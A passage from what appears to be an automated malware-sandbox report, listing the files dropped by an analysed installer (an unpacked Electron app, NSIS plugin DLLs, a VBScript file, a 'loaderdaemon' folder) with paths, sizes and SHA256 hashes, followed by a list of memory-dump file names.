                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\lv.pak
                                      • Size 579KB
                                      • SHA256 54541c9adee8711c3d391b67b2081214166621212a670b0f2d633d1e2623a757
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ml.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ml.pak
                                      • Size 1.3MB
                                      • SHA256 957b57bac9d8a927be5cfbb74d23dcf69cf2678ecd4fcf2158a391f7a02fea87
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      mr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\mr.pak
                                      • Size 1.1MB
                                      • SHA256 bf42c87554153b83e53ed8b839a74a50e893abda190d7ddd73521cc6d121dfa7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ms.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ms.pak
                                      • Size 498KB
                                      • SHA256 280ae72f9fb328d6b9e0baa5c27157e7e5bf0ebf699ebeac597da0ed4f670776
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      nb.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\nb.pak
                                      • Size 483KB
                                      • SHA256 1a35a4e5348ca851adec4ea1c666d56750d39174a35d74ab87cd061abe063bf3
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      nl.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\nl.pak
                                      • Size 499KB
                                      • SHA256 9b46eec8a0b0b568ddc35387ca02c2116baa7520efb04d92325fec17d5091353
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      pl.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\pl.pak
                                      • Size 557KB
                                      • SHA256 c8f76ef189d14a0c75407dc40348cd9171f5997a94a4961d86152cea2258ecf6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      pt-BR.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\pt-BR.pak
                                      • Size 524KB
                                      • SHA256 3ef0114eaf2268262cd594bfe33b56b24fb416d23d6fd125a9ae022d8eceaa99
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      pt-PT.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\pt-PT.pak
                                      • Size 527KB
                                      • SHA256 b9439000c1c75565c2f223612079a51971ac54a3786d5b631f20436447929465
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ro.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ro.pak
                                      • Size 546KB
                                      • SHA256 5e5d1cde0fceb570c20e7485b32f0ef7ad59569b93574fcbbc7aead4906e7d14
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ru.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ru.pak
                                      • Size 897KB
                                      • SHA256 07dbeee5a0b9c6c978d1c593db5dd6152003fa12170a8189bdde77908d826dcf
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sk.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\sk.pak
                                      • Size 563KB
                                      • SHA256 be66b2442b5b4a6dc28a14545e2c4a0bc7f9e6547a89f974d7b8a63525c1855f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sl.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\sl.pak
                                      • Size 541KB
                                      • SHA256 8095ce45373d8de8dd243fec034643060cbff67a48fa81414e31a0b9327eefc4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\sr.pak
                                      • Size 833KB
                                      • SHA256 a50c82c0db17e2aa4a62068ca2b210fd9847d32bf2134d6d5af1fc4b7050091a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sv.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\sv.pak
                                      • Size 486KB
                                      • SHA256 a615c0756155436781f8e8543d4b4163b7d96cbdf58ba86ddce8b39c5b7a17c8
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sw.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\sw.pak
                                      • Size 512KB
                                      • SHA256 ecc84d9a40448772697c14f27b1297fcdce12df30d008a7d4149a6aa587d85a8
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ta.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ta.pak
                                      • Size 1.3MB
                                      • SHA256 3c8dce29bcf2b60bcc273229afca64eb07a73c729d0d20e35455cc5d933e9a69
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      te.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\te.pak
                                      • Size 1.2MB
                                      • SHA256 7f28d607ed94e339b677cd5556202fb60f7e801e74af16397ef610c7302f6957
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      th.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\th.pak
                                      • Size 1.0MB
                                      • SHA256 f5118ca292c570e69972ff8a7a81940a98dbf4519532ceff133488a329825f78
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      tr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\tr.pak
                                      • Size 523KB
                                      • SHA256 0fd794b314d12652ca5c1986795a00bd0116b44a3163d2ea0b26560e3ad23eee
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      uk.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\uk.pak
                                      • Size 896KB
                                      • SHA256 ef7ffd8792b482829f31924241e6bd12dccdfdf404a0781bb28747c308649c0a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ur.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\ur.pak
                                      • Size 782KB
                                      • SHA256 2e0b43afa9c69288586ed404564ee2f420a87ff7936bdb48efbf21ce8f58f468
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      vi.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\vi.pak
                                      • Size 619KB
                                      • SHA256 030d29bfc26f9f08db13455c0d635f33b0315905d27d030d9f7813dadd899603
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      zh-CN.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\zh-CN.pak
                                      • Size 447KB
                                      • SHA256 374aed2859320a7287b64a8d1b150f7de05a931be3603a541b68ddd64ea361b1
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      zh-TW.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\locales\zh-TW.pak
                                      • Size 442KB
                                      • SHA256 d2c4aec734bc94fbe7d60666343b4e419be5e2cd1ff445a8bbf14fb4b8d3d715
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      resources.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\resources.pak
                                      • Size 5.0MB
                                      • SHA256 1efdd507bb6f4fb07329ec7ec29ee00c952d6390bd5cfe3b41fb307c5caeab6c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      main.js
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\resources\app\main.js
                                      • Size 561B
                                      • SHA256 4cf6bb01f9562dcfe5f4b56ed21d16f05c4348373453f28edc0e802d94d18962
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      package.json
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\resources\app\package.json
                                      • Size 274B
                                      • SHA256 3f75ed8f498f2339e2abe918c71ae6e8437f4138f998b7a47f61e2e7f66a0af7
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      runtime.dat
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\resources\app\runtime.dat
                                      • Size 17.0MB
                                      • SHA256 8b5353b3de73a6c54f2b948398c0055c4d14f13eeeebbafccd86c1cbbb5dabfa
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      runtime177a.dat
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\resources\app\runtime177a.dat
                                      • Size 212KB
                                      • SHA256 effb5b1abb32fb353821f7b759d72910a8ba87d76c84a84461e1bc2e7c5ae41b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      elevate.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\resources\elevate.exe
                                      • Size 105KB
                                      • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      snapshot_blob.bin
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\snapshot_blob.bin
                                      • Size 299KB
                                      • SHA256 c1da41052abe31791ae90a9dbe54442a641e1ecbb018ef35c44e7aed05b8f72e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      v8_context_snapshot.bin
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\v8_context_snapshot.bin
                                      • Size 663KB
                                      • SHA256 83a8345ea197020e07fe2cf53e74f31d0cc632ca1537f5c9c1db2fb2665ab04f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      vk_swiftshader.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\vk_swiftshader.dll
                                      • Size 5.1MB
                                      • SHA256 46afb1ed7ab1b1a679e00784b2e78cc2358cec615553699624ff77882f55787b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      vk_swiftshader_icd.json
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\vk_swiftshader_icd.json
                                      • Size 106B
                                      • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      vulkan-1.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\7z-out\vulkan-1.dll
                                      • Size 932KB
                                      • SHA256 fa6b4e20eb448746e2eff9a7fde7a62585e371f3497a6a928eade0a8ce8c1a9f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      StdUtils.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\StdUtils.dll
                                      • Size 100KB
                                      • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      System.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\System.dll
                                      • Size 12KB
                                      • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      nsis7z.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nshFBA2.tmp\nsis7z.dll
                                      • Size 424KB
                                      • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      setupapi_ffbfde.vbs
                                      • Path C:\Users\Admin\AppData\Local\Temp\setupapi_ffbfde.vbs
                                      • Size 1KB
                                      • SHA256 1cd004fc56a2a89264ab15e522bece96b573abfaba7a8f754a02441d0d74ff99
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      default.exc
                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
                                      • Size 2B
                                      • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                      • MD5 SHA1 SHA512
                                      Submit Download

                                      Network Persistent State
                                      • Path C:\Users\Admin\AppData\Roaming\loaderdaemon\Network\Network Persistent State
                                      • Size 300B
                                      • SHA256 c41abad240274ea755f1dfbed92e27a2b7e2e3fb41dda43289daf71f79c88dd9
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      Network Persistent State~RFe5a6d52.TMP
                                      • Path C:\Users\Admin\AppData\Roaming\loaderdaemon\Network\Network Persistent State~RFe5a6d52.TMP
                                      • Size 59B
                                      • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      memory/592-882-0x0000017276A70000-0x0000017276EA4000-memory.dmp
                                      Download

                                      memory/1916-522-0x00000205B66C0000-0x00000205B673C000-memory.dmp
                                      Download

                                      memory/2292-543-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2292-550-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2292-565-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2292-570-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2292-558-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2292-527-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2292-576-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2768-566-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2768-561-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2768-574-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2768-553-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2768-580-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2768-537-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2768-536-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/2828-451-0x0000025E67110000-0x0000025E6711A000-memory.dmp
                                      Download

                                      memory/2828-450-0x0000025E67540000-0x0000025E675F2000-memory.dmp
                                      Download

                                      memory/2828-449-0x0000025E670D0000-0x0000025E670EE000-memory.dmp
                                      Download

                                      memory/2828-446-0x0000025E4EFF0000-0x0000025E4F012000-memory.dmp
                                      Download

                                      memory/2836-590-0x00000000040F0000-0x000000000416C000-memory.dmp
                                      Download

                                      memory/2836-533-0x00000000040F0000-0x000000000416C000-memory.dmp
                                      Download

                                      memory/2968-735-0x00000210141E0000-0x0000021014200000-memory.dmp
                                      Download

                                      memory/2968-703-0x0000021002930000-0x0000021002950000-memory.dmp
                                      Download

                                      memory/2968-689-0x00000210001E0000-0x00000210002E0000-memory.dmp
                                      Download

                                      memory/2968-721-0x0000021002C70000-0x0000021002C90000-memory.dmp
                                      Download

                                      memory/2968-704-0x0000021002D90000-0x0000021002E90000-memory.dmp
                                      Download

                                      memory/3464-529-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3464-557-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3464-578-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3464-559-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3464-579-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3464-508-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3464-571-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3464-523-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3464-548-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3636-541-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3636-556-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3636-524-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3636-549-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3636-569-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3636-562-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/3636-577-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/4168-528-0x000001CED9650000-0x000001CED96CC000-memory.dmp
                                      Download

                                      memory/4324-513-0x00000179654E0000-0x000001796555C000-memory.dmp
                                      Download

                                      memory/5488-514-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/5488-567-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/5488-555-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/5488-554-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/5488-515-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/5488-504-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/5488-538-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/5488-568-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/6020-573-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/6020-534-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/6020-535-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/6020-552-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/6020-575-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/6020-560-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download

                                      memory/6020-564-0x0000000140000000-0x0000000140D61000-memory.dmp
                                      Download